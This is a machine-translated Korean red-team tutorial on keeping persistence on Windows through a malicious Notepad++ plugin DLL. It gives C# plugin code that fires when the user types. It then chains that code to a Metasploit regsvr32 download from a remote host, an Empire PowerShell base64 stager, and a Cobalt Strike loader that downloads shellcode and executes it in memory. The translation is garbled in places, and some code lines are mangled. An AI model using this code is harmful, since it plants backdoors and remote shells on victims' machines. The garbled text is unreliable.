제목 : 권한 유지 보수를 위해 메모장 ++ 사용자 정의 플러그인을 사용하십시오

0x00 前言​

메모장 ++는 플러그인 모드에서 확장자가있는 인기있는 Windows 텍스트 편집기입니다. Windows 환경, 특히 많은 개발자 및 IT 직원에서는 드문 일이 아닙니다. Red Team 직원을위한 중요한 정보 모음을 제공하는 것 외에도 원격 명령의로드 또는 스크립트를로드하는 플러그인을 사용하여 권한 유지 보수로 사용할 수도 있습니다.

0x01 基本消息框示例​

메모장 ++ 플러그인을 사용하여 메모장 ++의 기능을 확장 할 수 있습니다. 기본적으로 사용자는 메모장 ++ 신뢰할 수있는 플러그인 목록에 필요한 플러그인을 설치할 수 있지만 확인없이 설치 사용자 정의 플러그인을 실행할 수도있어 개발자에게 확장 가능한 텍스트 편집기를 사용할 수있는 유연성을 제공합니다. 플러그인은 DLL 파일 형식입니다. 사용자 정의 플러그인을 설치하려면 DLL을 %프로그램 파일 %\ notepad ++ \ Plugins \ PluginName \ PluginName.dll에 넣으십시오.
이점은 플러그인을로드하거나 활성화하기 위해서는 사용자 상호 작용이 필요하지 않다는 것입니다. 단점은 지역 관리자 권한이 디렉토리에 기록되어야한다는 것입니다.
1049983-20220901183526407-539078844.png
플러그인을로드하려면 폴더 이름과 DLL 파일 이름이 동일해야한다는 점에 유의해야합니다. 레드 팀 직원의 경우 메모장 ++ 플러그인 패키지를 수정 템플릿으로 사용할 수 있으므로 악의적 인 플러그인을 처음부터 작성할 필요가 없습니다. 특정 이벤트가 발생하면 모든 작업을 수행하는 데 사용할 수있는 여러 API가 있습니다. sci_addtextapi 메모장 ++에서 문자를 입력 할 때 사용자 정의 명령을 트리거합니다. 다음 예에서는 캐릭터가 삽입되면 메시지 상자가 나타납니다.
.NET 템플릿을 사용하여 Onotification에서 코드를 수정하십시오.
1049983-20220901183527259-2121246731.png
의 수정 된 코드는 다음과 같습니다. 클래스 main {static bool executeOnce=true; public static void onnotification (scnotification untification) {if (notification.header.code==(uint) scimsg.sci_addtext executeOnce) {mosePad ++를 통한 지속성 - https://pentestlab.blog '); executeOnce=! executeOnce; }}
또는 : 클래스 메인 {static bool firstrun=true; public static void onnotification (scnotification untification) {if (notification.header.code==(uint) scimsg.sci_addtext firstrun) {var process=process.getCurrentProcess (); messagebox.show ($ 'hello from {process.processName} ({process.id}).'); firstrun=! firstrun; }}
c33adohdgwg13858.png
Notepad ++ 삽입 플러그인 메시지 상자 예제 코드는 슈퍼 관리자 권한에서 실행 해야하는 DLL 파일이 생성됩니다. 쓰기 권한은 관련 하위 폴더에 플러그인을 작성해야하므로 필자는 필자가 필요합니다.
Dir 'C: \ Program Files \ Notepad ++ \ 플러그인 \ pentestlab'
r5vuqjsskej13859.png
Notepad ++ 플러그인 위치 다음에 Notepad ++를 시작하고 문자를 입력 할 때 메시지 상자가 팝업되어 코드가 컴파일되어 성공적으로 실행되었음을 보여줍니다.
jyb5rcd4rbp13861.png
메모장 ++ 실행 성공적으로

0x02 MSF反弹示例​

파일리스 페이로드를 실행하여 통신 채널을 설정할 수도 있습니다. 여기에서 Windows Regsvr32 바이너리를 사용하여 원격 위치에서 실행 스크립트를로드 할 수 있습니다. Metasploit 프레임 워크는 웹 전달 모듈을 통해이 활용을 지원합니다.
Exploit/Multi/Script/Web_delivery를 사용하십시오
대상 2를 설정합니다
페이로드 Windows/X64/MeterPreter/Reverse_TCP를 설정하십시오
Lhost 10.0.0.3을 설정하십시오
LPORT 4444를 설정하십시오
RUN은 필요한 매개 변수를 사용하여 명령을 약간 수정하여 RegSVR32를 실행할 수 있습니다.
classmain {staticboolfirstrun=true; publictaticvoidonnotification (scnotification notification) {if (notification.header.code==(uint) scimsg.sci_addtext firstrun) {stringstrcmdtext; strcmdtext=' /s /n /n /n /n /n /n /u /i3:http://10.0.0.3:8080/nhicvfz6n.sctscrobj.dll ';process.start ('regsvr32 ', strcmdtext); firstrun=! firstrun;}}}}
p52zhbiosoz13862.png
++ ++ retsvr32 methertly, as, as, as the the the the the the the the the the the first a). 새 문자가 메모장 ++에 입력되며 명령을 실행하는 이벤트가 트리거됩니다.
co23gsdbnl413863.png
메모장 ++ 지속성 트리거 메타 프레터는 세션 모니터링을 수행하고 통신 채널을 설정합니다.
urclm4h3whu13865.png
Notepad ++ regsvr32 MeterPretre는 대상 호스트와의 상호 작용을 시작하기 위해 다음 명령을 실행합니다.
세션
세션 -I 1
Pwd
getuid
u15r01gdwsa13867.png
Notepad ++ MeterPreter Shell

0x03 Empire反弹shell示例​

비슷한 방식으로 Empire C2는 다양한 Stager 파일을 생성하는 데 사용될 수 있습니다. 이 파일에는 일반적으로 PowerShell 프로세스에서 실행할 수있는 Base64 명령이 포함되어 있습니다. 다음은 예를 들어 Stager 방법입니다.
usestager windows/runcher_sct
ghfl5ggvgs213868.png
emempire Stager Module Stager는 제국에서 실행 된 리스너를 가리켜 야하며, 명령을 실행하면 파일을 "생성 된 스테이트"폴더에 쓸 것입니다.
리스너 HTTP를 설정하십시오
zjyjrilp5gv13869.png
Empire-STAGER 구성 및 생성 생성 된 발사기 .SCT 파일을 대상 시스템에 업로드 한 다음 regsvr32 명령을 통해 실행하거나 Launcher.sct 파일에서 생성 된 Base64를 복사하여 소프트웨어-관리 점검을 피할 수 있습니다.
djojfaqpuio13871.png
EMPIRE -POWERSHELL BASE64 페이로드 샘플 코드 : ClassMain {static bool executeOnce=true; publicStaticVoidonNotification (scnotification notification) {if (notification.header.code==(uint) scimsg.sci_addtext firstrun) {stringstrcmdtex; -l enc base64 명령 실행 코드 '; process.start ('powerShell ', strcmdText); executeOnce=! executeOnce;}}
ejzfwdl0kfs13872.png
Notepad ++ -명령 후 플러그인은 제국에서 새로운 상호 작용 쉘이 나타납니다.
에이전트
jlyr31am1ul13874.png
메모장 ++ EmpireEmpire 모듈의 명령에는 호스트 데스크톱의 스크린 샷 및 사용자 이름, 연결 문자열 또는 URL과 같은 정보와 같은 정보 수집 기능이있을 수 있습니다.
usemodule powerShell/컬렉션/스크린 샷
에이전트 메모장을 설정하십시오
au4esmb0ba413876.png
메모장 ++ Empire Screenshot
4wlkg3j04ok13877.png
Notepad ++ 스크린 샷

0x04 cobaltstike反弹shell示例​

COBASLTSIKE를 통해로드 할 ShellCode로 MessageBox를 바꾸면 코드는 다음과 같습니다.
if (notification.header.code==(uint) scimsg.sci_addtext firstrun)
{
var 클라이언트 사용=새로운 webClient ();
var buf=client.downloadData ( 'http://172.19.215.47/shellcode');
var hmemory=virtualalloc (
intptr.zero,
(uint) buf.length,
AllocationType.Reserve | AllocationType.commit,
memoryProtection.ReadWrite);
마샬 .copy (buf, 0, hmemory, buf.length);
_=virtualProtect (
hmemory,
(uint) buf.length,
MemoryProtection.Executeread,
밖으로 _);
_=CreateThread (
intptr.zero,
0,
hmemory,
intptr.zero,
0,
밖으로 _);
firstrun=! firstrun;
}
v13r2uanisg13878.png

0x05 总结​

이 권한 지속성 기술의 한 가지 단점 중 하나는 사용자가 문자를 입력해야하므로 자주 리바운드 쉘을받지 못할 수 있다는 것입니다.
 
뒤로
상단